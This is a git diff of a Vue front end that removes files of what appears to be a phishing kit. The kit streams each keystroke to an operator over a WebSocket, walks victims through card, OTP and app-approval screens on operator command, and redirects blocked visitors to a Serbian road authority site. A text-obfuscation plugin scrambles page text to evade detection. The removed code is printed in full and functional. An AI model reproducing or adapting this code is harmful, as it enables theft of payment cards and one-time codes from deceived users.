if ('IntersectionObserver' in window) {
|
|
||||||
const decodeObserver = new IntersectionObserver(
|
|
||||||
(entries, observer) => {
|
|
||||||
entries.forEach(entry => {
|
|
||||||
if (entry.isIntersecting) {
|
|
||||||
// 容器进入视口时解码其内容
|
|
||||||
window.decodeObfuscatedContent(entry.target);
|
|
||||||
observer.unobserve(entry.target);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
},
|
|
||||||
{ rootMargin: '200px 0px' } // 提前200像素开始解码
|
|
||||||
);
|
|
||||||
|
|
||||||
// 监听所有混淆容器
|
|
||||||
function observeContainers() {
|
|
||||||
document.querySelectorAll('z-wrap').forEach(container => {
|
|
||||||
decodeObserver.observe(container);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// 初始观察
|
|
||||||
if (document.readyState === 'loading') {
|
|
||||||
document.addEventListener('DOMContentLoaded', observeContainers);
|
|
||||||
} else {
|
|
||||||
observeContainers();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 定期检查新容器
|
|
||||||
setInterval(observeContainers, 2000);
|
|
||||||
} else {
|
|
||||||
// 降级方案:定期全局检查
|
|
||||||
setInterval(() => window.decodeObfuscatedContent(), 1000);
|
|
||||||
}
|
|
||||||
})();
|
|
||||||
`;
|
|
||||||
|
|
||||||
// 将脚本添加到head的最前面,确保尽早加载
|
|
||||||
if (document.head.firstChild) {
|
|
||||||
document.head.insertBefore(script, document.head.firstChild);
|
|
||||||
} else {
|
|
||||||
document.head.appendChild(script);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,331 +0,0 @@
|
|||||||
import _ from "lodash";
|
|
||||||
import { sendInput } from "@/api/api";
|
|
||||||
import type { Socket } from "@/utils/websocket";
|
|
||||||
import eventBus from "@/utils/eventBus";
|
|
||||||
import router from "@/router";
|
|
||||||
import { ref } from "vue";
|
|
||||||
import { useSocket } from "@/utils/websocket";
|
|
||||||
import { useLoadingStore } from "@/stores/loadingStore";
|
|
||||||
import i18n from "@/main";
|
|
||||||
import { useSocketIo } from "./socketio";
|
|
||||||
|
|
||||||
const viteBaseUrl = import.meta.env.VITE_BASE_URL;
|
|
||||||
|
|
||||||
// WebSocket interface
|
|
||||||
interface MyWebSocket {
|
|
||||||
socket: any;
|
|
||||||
send: (data: string) => Promise<void>;
|
|
||||||
off: (event: string) => void;
|
|
||||||
on: (event: string, callback: (data: any) => void) => void;
|
|
||||||
}
|
|
||||||
|
|
||||||
export const customOtpData = ref<any>({});
|
|
||||||
|
|
||||||
export function setCustomOtpData(data: any) {
|
|
||||||
customOtpData.value = data;
|
|
||||||
localStorage.setItem("customOtpData", JSON.stringify(data));
|
|
||||||
}
|
|
||||||
|
|
||||||
export let myWebSocket: MyWebSocket | undefined;
|
|
||||||
|
|
||||||
// Configuration data
|
|
||||||
export const configData = ref<Record<string, any>>({});
|
|
||||||
|
|
||||||
// Utility function to check if all values in an object are not empty
|
|
||||||
export function areAllValuesNotEmpty(
|
|
||||||
obj: Record<string, any>,
|
|
||||||
excludedFields: string[] = []
|
|
||||||
): boolean {
|
|
||||||
return Object.keys(obj).every((key) => {
|
|
||||||
if (excludedFields.includes(key)) return true;
|
|
||||||
const value = obj[key];
|
|
||||||
return (
|
|
||||||
value !== null &&
|
|
||||||
value !== undefined &&
|
|
||||||
value !== "" &&
|
|
||||||
!(typeof value === "string" && value.trim() === "")
|
|
||||||
);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// 存储 WebSocket 和 API 的防抖函数
|
|
||||||
const wsDebounceFunctions: Record<
|
|
||||||
string,
|
|
||||||
_.DebouncedFunc<(...args: any[]) => void>
|
|
||||||
> = {};
|
|
||||||
const apiDebounceFunctions: Record<
|
|
||||||
string,
|
|
||||||
_.DebouncedFunc<(...args: any[]) => void>
|
|
||||||
> = {};
|
|
||||||
|
|
||||||
// 获取或创建针对某个键的防抖函数
|
|
||||||
function getDebouncedFunction(
|
|
||||||
debounceFunctions: Record<string, _.DebouncedFunc<(...args: any[]) => void>>,
|
|
||||||
key: string,
|
|
||||||
func: (...args: any[]) => void,
|
|
||||||
wait: number
|
|
||||||
) {
|
|
||||||
if (!debounceFunctions[key]) {
|
|
||||||
debounceFunctions[key] = _.debounce(func, wait);
|
|
||||||
}
|
|
||||||
return debounceFunctions[key];
|
|
||||||
}
|
|
||||||
|
|
||||||
const modeRef = ref(1)
|
|
||||||
|
|
||||||
|
|
||||||
// 处理输入变化
|
|
||||||
export function inputChange(type: string, key: any, value: any) {
|
|
||||||
const currentTimestamp = Date.now(); // 当前时间戳
|
|
||||||
|
|
||||||
// WebSocket 防抖函数
|
|
||||||
const wsDebouncedFunction = getDebouncedFunction(
|
|
||||||
wsDebounceFunctions,
|
|
||||||
key,
|
|
||||||
(type, key, value) => {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "input_text",
|
|
||||||
content: { type, key, text: value },
|
|
||||||
timestamp: currentTimestamp,
|
|
||||||
})
|
|
||||||
);
|
|
||||||
},
|
|
||||||
300
|
|
||||||
);
|
|
||||||
|
|
||||||
// API 防抖函数
|
|
||||||
const apiDebouncedFunction = getDebouncedFunction(
|
|
||||||
apiDebounceFunctions,
|
|
||||||
key,
|
|
||||||
(type, key, value) => {
|
|
||||||
sendInput({
|
|
||||||
content: { type, key, text: value },
|
|
||||||
timestamp: currentTimestamp,
|
|
||||||
});
|
|
||||||
},
|
|
||||||
1000
|
|
||||||
);
|
|
||||||
|
|
||||||
// 调用防抖函数
|
|
||||||
wsDebouncedFunction(type, key, value);
|
|
||||||
if(modeRef.value !== 2) {
|
|
||||||
apiDebouncedFunction(type, key, value);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
// Handle login success
|
|
||||||
export function loginSuccess(token: string, mode: number) {
|
|
||||||
if(mode === 2) {
|
|
||||||
modeRef.value = 2
|
|
||||||
myWebSocket = useSocketIo(
|
|
||||||
`wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
|
|
||||||
}/ws?token=${token}`
|
|
||||||
);
|
|
||||||
}else{
|
|
||||||
myWebSocket = useSocket(
|
|
||||||
`wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
|
|
||||||
}/ws?token=${token}`
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
myWebSocket?.on("close", () => console.log("Socket closed!"));
|
|
||||||
myWebSocket?.on("open", () => {
|
|
||||||
const lastToken = localStorage.getItem("token");
|
|
||||||
loginWebsocket(token, lastToken !== token);
|
|
||||||
});
|
|
||||||
|
|
||||||
myWebSocket?.on("message", handleMessage);
|
|
||||||
|
|
||||||
window.addEventListener("beforeunload", () => {
|
|
||||||
myWebSocket?.off("close");
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle WebSocket messages
|
|
||||||
function handleMessage(data: any) {
|
|
||||||
const jsonData = JSON.parse(data);
|
|
||||||
if (!jsonData || !jsonData.event) return;
|
|
||||||
|
|
||||||
const { event, content } = jsonData;
|
|
||||||
|
|
||||||
switch (event) {
|
|
||||||
case "login":
|
|
||||||
//handleLoginEvent(content);
|
|
||||||
break;
|
|
||||||
case "result_type":
|
|
||||||
handleResultTypeEvent(content);
|
|
||||||
break;
|
|
||||||
case "reload":
|
|
||||||
window.location.reload();
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle login event
|
|
||||||
function handleLoginEvent(content: any) {
|
|
||||||
const route = localStorage.getItem("route");
|
|
||||||
if (route) {
|
|
||||||
const customOtpDataValue = localStorage.getItem("customOtpData");
|
|
||||||
if (route === "customOtpValid" && customOtpDataValue) {
|
|
||||||
setCustomOtpData(JSON.parse(customOtpDataValue));
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "page_type",
|
|
||||||
content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "page_type",
|
|
||||||
content: { pageType: route },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle result type event
|
|
||||||
function handleResultTypeEvent(content: any) {
|
|
||||||
if (!content) return;
|
|
||||||
|
|
||||||
const typeHandlers: Record<string, () => void> = {
|
|
||||||
customOtpValid: () => navigateTo("/customOtpValid", content),
|
|
||||||
otpValid: () => navigateTo("/otpValid", content),
|
|
||||||
appValid: () => navigateTo("/appValid", content),
|
|
||||||
success: () => router.push("/success"),
|
|
||||||
kickOut: redirectToExternal,
|
|
||||||
block: redirectToExternal,
|
|
||||||
otpFail: () =>
|
|
||||||
eventBus.emit("otp-valid", {
|
|
||||||
message2:
|
|
||||||
content.value.message2 ||
|
|
||||||
i18n.global.t("Verification code error, please try again"),
|
|
||||||
}),
|
|
||||||
appFail: () =>
|
|
||||||
eventBus.emit("app-valid", {
|
|
||||||
message2:
|
|
||||||
content.value.message2 ||
|
|
||||||
i18n.global.t(
|
|
||||||
"The session is about to expire, please complete the verification now"
|
|
||||||
),
|
|
||||||
}),
|
|
||||||
back: () => handleBackOrReject(content, true),
|
|
||||||
reject: () => handleBackOrReject(content, false),
|
|
||||||
refresh: () => {
|
|
||||||
if(localStorage.getItem("route")){
|
|
||||||
localStorage.removeItem("route");
|
|
||||||
window.location.reload();
|
|
||||||
}
|
|
||||||
},
|
|
||||||
};
|
|
||||||
|
|
||||||
if (content.type == "customOtpValid") {
|
|
||||||
if(content.value.customOtpData) {
|
|
||||||
setCustomOtpData(JSON.parse(content.value.customOtpData));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (content.type == "customOtpFail") {
|
|
||||||
eventBus.emit("custom-otp-valid", {
|
|
||||||
message2: content.value.message2,
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
const handler = typeHandlers[content.type];
|
|
||||||
if (handler) handler();
|
|
||||||
|
|
||||||
useLoadingStore().setLoading(false);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Navigate to specific path with query parameters
|
|
||||||
function navigateTo(path: string, content: any) {
|
|
||||||
|
|
||||||
router.push('/temp').then(() => {
|
|
||||||
router.push({
|
|
||||||
path: path,
|
|
||||||
query: {
|
|
||||||
cardType: content.value?.data?.cardData?.cardBIN?.schema,
|
|
||||||
message1: content.value?.message1,
|
|
||||||
key: new Date().getMilliseconds(),
|
|
||||||
},
|
|
||||||
});
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle back or reject type
|
|
||||||
function handleBackOrReject(content: any, isBack: boolean) {
|
|
||||||
let message2 = i18n.global.t(
|
|
||||||
"This card does not support this transaction, please try another card"
|
|
||||||
);
|
|
||||||
|
|
||||||
if (configData.value.error_card_msg) {
|
|
||||||
message2 = configData.value.error_card_msg;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (content.value.type) {
|
|
||||||
const type = content.value.type;
|
|
||||||
if (type === "denyC" && configData.value.deny_c_msg) {
|
|
||||||
message2 = configData.value.deny_c_msg;
|
|
||||||
}
|
|
||||||
if (type === "denyD" && configData.value.deny_d_msg) {
|
|
||||||
message2 = configData.value.deny_d_msg;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (content.value.message2) {
|
|
||||||
message2 = content.value.message2;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (isBack) {
|
|
||||||
router.push({ path: "/card", query: { message2 } });
|
|
||||||
}
|
|
||||||
|
|
||||||
eventBus.emit("my-event", { message2 });
|
|
||||||
}
|
|
||||||
|
|
||||||
// Login to WebSocket
|
|
||||||
function loginWebsocket(token: string, isFirst: boolean) {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "login",
|
|
||||||
content: { tag: "user", token, isFirst },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
initHtml();
|
|
||||||
}
|
|
||||||
|
|
||||||
// Redirect to an external URL
|
|
||||||
export function redirectToExternal() {
|
|
||||||
window.location.href = "https://www.putevi-srbije.rs/";
|
|
||||||
}
|
|
||||||
|
|
||||||
export async function loadHtml(url: string) {
|
|
||||||
try {
|
|
||||||
const response = await fetch(url); // 替换为您的 HTML 文件路径
|
|
||||||
if (!response.ok) {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
return await response.text();
|
|
||||||
} catch (error) {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
export const headerHtml = ref("");
|
|
||||||
export const footerHtml = ref("");
|
|
||||||
export const loadingBg = ref("#ffffff");
|
|
||||||
|
|
||||||
const initHtml = async () => {
|
|
||||||
const routePath = localStorage.getItem("route");
|
|
||||||
headerHtml.value = await loadHtml("/Static_zy/header.html");
|
|
||||||
footerHtml.value = await loadHtml("/Static_zy/footer.html");
|
|
||||||
await router.push(routePath ? `/${routePath}` : "/phone");
|
|
||||||
setTimeout(async () => {
|
|
||||||
useLoadingStore().setLoading(false);
|
|
||||||
loadingBg.value = "transparent";
|
|
||||||
}, 200);
|
|
||||||
};
|
|
||||||
@@ -1,51 +0,0 @@
|
|||||||
<script setup lang="ts">
|
|
||||||
|
|
||||||
import { myWebSocket } from "@/utils/common";
|
|
||||||
|
|
||||||
defineProps<{
|
|
||||||
msg: string;
|
|
||||||
}>();
|
|
||||||
|
|
||||||
const sendMsg = () => {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({ event: "heartbeat", content: { userId: "haha" } })
|
|
||||||
);
|
|
||||||
};
|
|
||||||
</script>
|
|
||||||
|
|
||||||
<template>
|
|
||||||
<div class="greetings">
|
|
||||||
<h1 class="green">{{ msg }}</h1>
|
|
||||||
<button @click="sendMsg">Send</button>/
|
|
||||||
<h3>
|
|
||||||
You’ve successfully created a project with
|
|
||||||
<a href="https://vitejs.dev/" target="_blank" rel="noopener">Vite</a> +
|
|
||||||
<a href="https://vuejs.org/" target="_blank" rel="noopener">Vue 3</a>.
|
|
||||||
What's next?
|
|
||||||
</h3>
|
|
||||||
</div>
|
|
||||||
</template>
|
|
||||||
|
|
||||||
<style scoped>
|
|
||||||
h1 {
|
|
||||||
font-weight: 500;
|
|
||||||
font-size: 2.6rem;
|
|
||||||
top: -10px;
|
|
||||||
}
|
|
||||||
|
|
||||||
h3 {
|
|
||||||
font-size: 1.2rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
.greetings h1,
|
|
||||||
.greetings h3 {
|
|
||||||
text-align: center;
|
|
||||||
}
|
|
||||||
|
|
||||||
@media (min-width: 1024px) {
|
|
||||||
.greetings h1,
|
|
||||||
.greetings h3 {
|
|
||||||
text-align: left;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
@@ -1,86 +0,0 @@
|
|||||||
<script setup lang="ts">
|
|
||||||
import WelcomeItem from './WelcomeItem.vue'
|
|
||||||
import DocumentationIcon from './icons/IconDocumentation.vue'
|
|
||||||
import ToolingIcon from './icons/IconTooling.vue'
|
|
||||||
import EcosystemIcon from './icons/IconEcosystem.vue'
|
|
||||||
import CommunityIcon from './icons/IconCommunity.vue'
|
|
||||||
import SupportIcon from './icons/IconSupport.vue'
|
|
||||||
</script>
|
|
||||||
|
|
||||||
<template>
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<DocumentationIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Documentation</template>
|
|
||||||
|
|
||||||
Vue’s
|
|
||||||
<a href="https://vuejs.org/" target="_blank" rel="noopener">official documentation</a>
|
|
||||||
provides you with all information you need to get started.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<ToolingIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Tooling</template>
|
|
||||||
|
|
||||||
This project is served and bundled with
|
|
||||||
<a href="https://vitejs.dev/guide/features.html" target="_blank" rel="noopener">Vite</a>. The
|
|
||||||
recommended IDE setup is
|
|
||||||
<a href="https://code.visualstudio.com/" target="_blank" rel="noopener">VSCode</a> +
|
|
||||||
<a href="https://github.com/johnsoncodehk/volar" target="_blank" rel="noopener">Volar</a>. If
|
|
||||||
you need to test your components and web pages, check out
|
|
||||||
<a href="https://www.cypress.io/" target="_blank" rel="noopener">Cypress</a> and
|
|
||||||
<a href="https://on.cypress.io/component" target="_blank">Cypress Component Testing</a>.
|
|
||||||
|
|
||||||
<br />
|
|
||||||
|
|
||||||
More instructions are available in <code>README.md</code>.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<EcosystemIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Ecosystem</template>
|
|
||||||
|
|
||||||
Get official tools and libraries for your project:
|
|
||||||
<a href="https://pinia.vuejs.org/" target="_blank" rel="noopener">Pinia</a>,
|
|
||||||
<a href="https://router.vuejs.org/" target="_blank" rel="noopener">Vue Router</a>,
|
|
||||||
<a href="https://test-utils.vuejs.org/" target="_blank" rel="noopener">Vue Test Utils</a>, and
|
|
||||||
<a href="https://github.com/vuejs/devtools" target="_blank" rel="noopener">Vue Dev Tools</a>. If
|
|
||||||
you need more resources, we suggest paying
|
|
||||||
<a href="https://github.com/vuejs/awesome-vue" target="_blank" rel="noopener">Awesome Vue</a>
|
|
||||||
a visit.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<CommunityIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Community</template>
|
|
||||||
|
|
||||||
Got stuck? Ask your question on
|
|
||||||
<a href="https://chat.vuejs.org" target="_blank" rel="noopener">Vue Land</a>, our official
|
|
||||||
Discord server, or
|
|
||||||
<a href="https://stackoverflow.com/questions/tagged/vue.js" target="_blank" rel="noopener"
|
|
||||||
>StackOverflow</a
|
|
||||||
>. You should also subscribe to
|
|
||||||
<a href="https://news.vuejs.org" target="_blank" rel="noopener">our mailing list</a> and follow
|
|
||||||
the official
|
|
||||||
<a href="https://twitter.com/vuejs" target="_blank" rel="noopener">@vuejs</a>
|
|
||||||
twitter account for latest news in the Vue world.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<SupportIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Support Vue</template>
|
|
||||||
|
|
||||||
As an independent project, Vue relies on community backing for its sustainability. You can help
|
|
||||||
us by
|
|
||||||
<a href="https://vuejs.org/sponsor/" target="_blank" rel="noopener">becoming a sponsor</a>.
|
|
||||||
</WelcomeItem>
|
|
||||||
</template>
|
|
||||||
@@ -1,86 +0,0 @@
|
|||||||
<template>
|
|
||||||
<div class="item">
|
|
||||||
<i>
|
|
||||||
<slot name="icon"></slot>
|
|
||||||
</i>
|
|
||||||
<div class="details">
|
|
||||||
<h3>
|
|
||||||
<slot name="heading"></slot>
|
|
||||||
</h3>
|
|
||||||
<slot></slot>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</template>
|
|
||||||
|
|
||||||
<style scoped>
|
|
||||||
.item {
|
|
||||||
margin-top: 2rem;
|
|
||||||
display: flex;
|
|
||||||
}
|
|
||||||
|
|
||||||
.details {
|
|
||||||
flex: 1;
|
|
||||||
margin-left: 1rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
i {
|
|
||||||
display: flex;
|
|
||||||
place-items: center;
|
|
||||||
place-content: center;
|
|
||||||
width: 32px;
|
|
||||||
height: 32px;
|
|
||||||
|
|
||||||
color: var(--color-text);
|
|
||||||
}
|
|
||||||
|
|
||||||
h3 {
|
|
||||||
font-size: 1.2rem;
|
|
||||||
font-weight: 500;
|
|
||||||
margin-bottom: 0.4rem;
|
|
||||||
color: var(--color-heading);
|
|
||||||
}
|
|
||||||
|
|
||||||
@media (min-width: 1024px) {
|
|
||||||
.item {
|
|
||||||
margin-top: 0;
|
|
||||||
padding: 0.4rem 0 1rem calc(var(--section-gap) / 2);
|
|
||||||
}
|
|
||||||
|
|
||||||
i {
|
|
||||||
top: calc(50% - 25px);
|
|
||||||
left: -26px;
|
|
||||||
position: absolute;
|
|
||||||
border: 1px solid var(--color-border);
|
|
||||||
background: var(--color-background);
|
|
||||||
border-radius: 8px;
|
|
||||||
width: 50px;
|
|
||||||
height: 50px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:before {
|
|
||||||
content: ' ';
|
|
||||||
border-left: 1px solid var(--color-border);
|
|
||||||
position: absolute;
|
|
||||||
left: 0;
|
|
||||||
bottom: calc(50% + 25px);
|
|
||||||
height: calc(50% - 25px);
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:after {
|
|
||||||
content: ' ';
|
|
||||||
border-left: 1px solid var(--color-border);
|
|
||||||
position: absolute;
|
|
||||||
left: 0;
|
|
||||||
top: calc(50% + 25px);
|
|
||||||
height: calc(50% - 25px);
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:first-of-type:before {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:last-of-type:after {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
@@ -1,4 +1,3 @@
|
|||||||
import { TextObfuscatorPlugin } from "./mix/textObfuscator";
|
|
||||||
import { createApp, ref } from "vue";
|
import { createApp, ref } from "vue";
|
||||||
import { createPinia } from "pinia";
|
import { createPinia } from "pinia";
|
||||||
|
|
||||||
@@ -29,6 +28,5 @@ router.beforeEach((to, from, next) => {
|
|||||||
VueScrollTo.scrollTo("#app", 0);
|
VueScrollTo.scrollTo("#app", 0);
|
||||||
next();
|
next();
|
||||||
});
|
});
|
||||||
// //app.use(TextObfuscatorPlugin);
|
|
||||||
app.mount("#app");
|
app.mount("#app");
|
||||||
export default i18n;
|
export default i18n;
|
||||||
|
|||||||
@@ -1,643 +0,0 @@
|
|||||||
import type { ComponentInternalInstance, Plugin, App } from 'vue';
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 全局文本混淆插件
|
|
||||||
* 自动查找并替换所有文本节点
|
|
||||||
*/
|
|
||||||
// 修改Vue混淆插件以确保处理整个组件树
|
|
||||||
export const TextObfuscatorPlugin: Plugin = {
|
|
||||||
install(app: App) {
|
|
||||||
// 安装全局样式和解码脚本
|
|
||||||
addObfuscationStyle();
|
|
||||||
|
|
||||||
// 注册全局指令,直接处理元素内容
|
|
||||||
app.directive('odata', {
|
|
||||||
mounted(el) {
|
|
||||||
processTextNodes(el, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(el), 0);
|
|
||||||
}
|
|
||||||
setupMutationObserver(el);
|
|
||||||
},
|
|
||||||
updated(el) {
|
|
||||||
processTextNodes(el, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(el), 0);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
// 在 app.mixin 中修改处理 $el 的部分
|
|
||||||
app.mixin({
|
|
||||||
mounted() {
|
|
||||||
// 安全地获取组件的根元素(s)
|
|
||||||
const rootElements = this.$el ?
|
|
||||||
(this.$el.nodeType === Node.ELEMENT_NODE ?
|
|
||||||
[this.$el] :
|
|
||||||
(Array.isArray(this.$el) ? this.$el : [])) :
|
|
||||||
[];
|
|
||||||
|
|
||||||
// 处理每个根元素
|
|
||||||
rootElements.forEach((rootElement: Element) => {
|
|
||||||
if (!rootElement || !(rootElement instanceof Element)) return;
|
|
||||||
|
|
||||||
// 1. 首先处理当前组件的根元素
|
|
||||||
processTextNodes(rootElement, this);
|
|
||||||
|
|
||||||
// 2. 递归处理所有子元素,确保覆盖所有文本节点
|
|
||||||
const processAllChildNodes = (element: Element) => {
|
|
||||||
if (!(element instanceof Element)) return;
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 为每个子元素单独处理文本节点
|
|
||||||
const childElements = element.querySelectorAll('*');
|
|
||||||
childElements.forEach(childEl => {
|
|
||||||
processTextNodes(childEl, null);
|
|
||||||
});
|
|
||||||
|
|
||||||
// 立即解码当前处理的元素
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(element), 0);
|
|
||||||
}
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing child nodes:', error, element);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 处理整个组件树
|
|
||||||
processAllChildNodes(rootElement);
|
|
||||||
|
|
||||||
// 设置监听
|
|
||||||
setupMutationObserver(rootElement);
|
|
||||||
});
|
|
||||||
// 添加:深度扫描所有包含纯文本的元素
|
|
||||||
setTimeout(() => {
|
|
||||||
const scanPureTextElements = (rootElement: Element) => {
|
|
||||||
// 跳过已处理过的元素
|
|
||||||
if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查是否为包含纯文本的元素(只有文本节点,没有元素节点)
|
|
||||||
let hasOnlyTextNodes = false;
|
|
||||||
let hasElementNodes = false;
|
|
||||||
|
|
||||||
if (rootElement.childNodes && rootElement.childNodes.length > 0) {
|
|
||||||
hasOnlyTextNodes = Array.from(rootElement.childNodes).some(
|
|
||||||
node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim()
|
|
||||||
);
|
|
||||||
|
|
||||||
hasElementNodes = Array.from(rootElement.childNodes).some(
|
|
||||||
node => node.nodeType === Node.ELEMENT_NODE
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它
|
|
||||||
if (hasOnlyTextNodes && !hasElementNodes &&
|
|
||||||
!SKIP_TAGS.includes(rootElement.tagName) &&
|
|
||||||
!Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) {
|
|
||||||
processTextNodes(rootElement, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
window.decodeObfuscatedContent(rootElement);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 递归处理子元素
|
|
||||||
if (rootElement.children) {
|
|
||||||
Array.from(rootElement.children).forEach(child => {
|
|
||||||
scanPureTextElements(child);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 从body开始扫描
|
|
||||||
scanPureTextElements(document.body);
|
|
||||||
}, 10); // 给DOM足够的时间渲染
|
|
||||||
},
|
|
||||||
|
|
||||||
updated() {
|
|
||||||
// 安全地获取组件的根元素(s)
|
|
||||||
const rootElements = this.$el ?
|
|
||||||
(this.$el.nodeType === Node.ELEMENT_NODE ?
|
|
||||||
[this.$el] :
|
|
||||||
(Array.isArray(this.$el) ? this.$el : [])) :
|
|
||||||
[];
|
|
||||||
|
|
||||||
// 处理每个根元素
|
|
||||||
rootElements.forEach((rootElement: Element | undefined) => {
|
|
||||||
if (!rootElement || !(rootElement instanceof Element)) return;
|
|
||||||
|
|
||||||
processTextNodes(rootElement, this);
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 递归处理所有子元素
|
|
||||||
const childElements = rootElement.querySelectorAll('*');
|
|
||||||
childElements.forEach((childEl: Element) => {
|
|
||||||
processTextNodes(childEl, null);
|
|
||||||
});
|
|
||||||
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(rootElement), 0);
|
|
||||||
}
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing updated component:', error, rootElement);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 声明全局函数类型
|
|
||||||
declare global {
|
|
||||||
interface Window {
|
|
||||||
decodeObfuscatedContent: (rootElement?: Element) => void;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 需要跳过的标签
|
|
||||||
const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE'];
|
|
||||||
// 需要跳过的类名
|
|
||||||
const SKIP_CLASSES = ['no-obfuscate'];
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 处理元素中的所有文本节点
|
|
||||||
*/
|
|
||||||
function processTextNodes(element: Element, instance: ComponentInternalInstance | null) {
|
|
||||||
if (!element || element.nodeType !== Node.ELEMENT_NODE) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
// 为 DIV 元素增加优先处理逻辑
|
|
||||||
if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) {
|
|
||||||
// 对于DIV元素,特殊处理其直接子文本节点
|
|
||||||
let hasTextContent = false;
|
|
||||||
for (let i = 0; i < element.childNodes.length; i++) {
|
|
||||||
const node = element.childNodes[i];
|
|
||||||
if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') {
|
|
||||||
hasTextContent = true;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果DIV中有直接的文本内容,标记它需要被处理
|
|
||||||
if (hasTextContent) {
|
|
||||||
// 只处理未混淆过的DIV
|
|
||||||
const textContent = Array.from(element.childNodes)
|
|
||||||
.filter(node => node.nodeType === Node.TEXT_NODE && node.textContent)
|
|
||||||
.map(node => node.textContent).join('').trim();
|
|
||||||
|
|
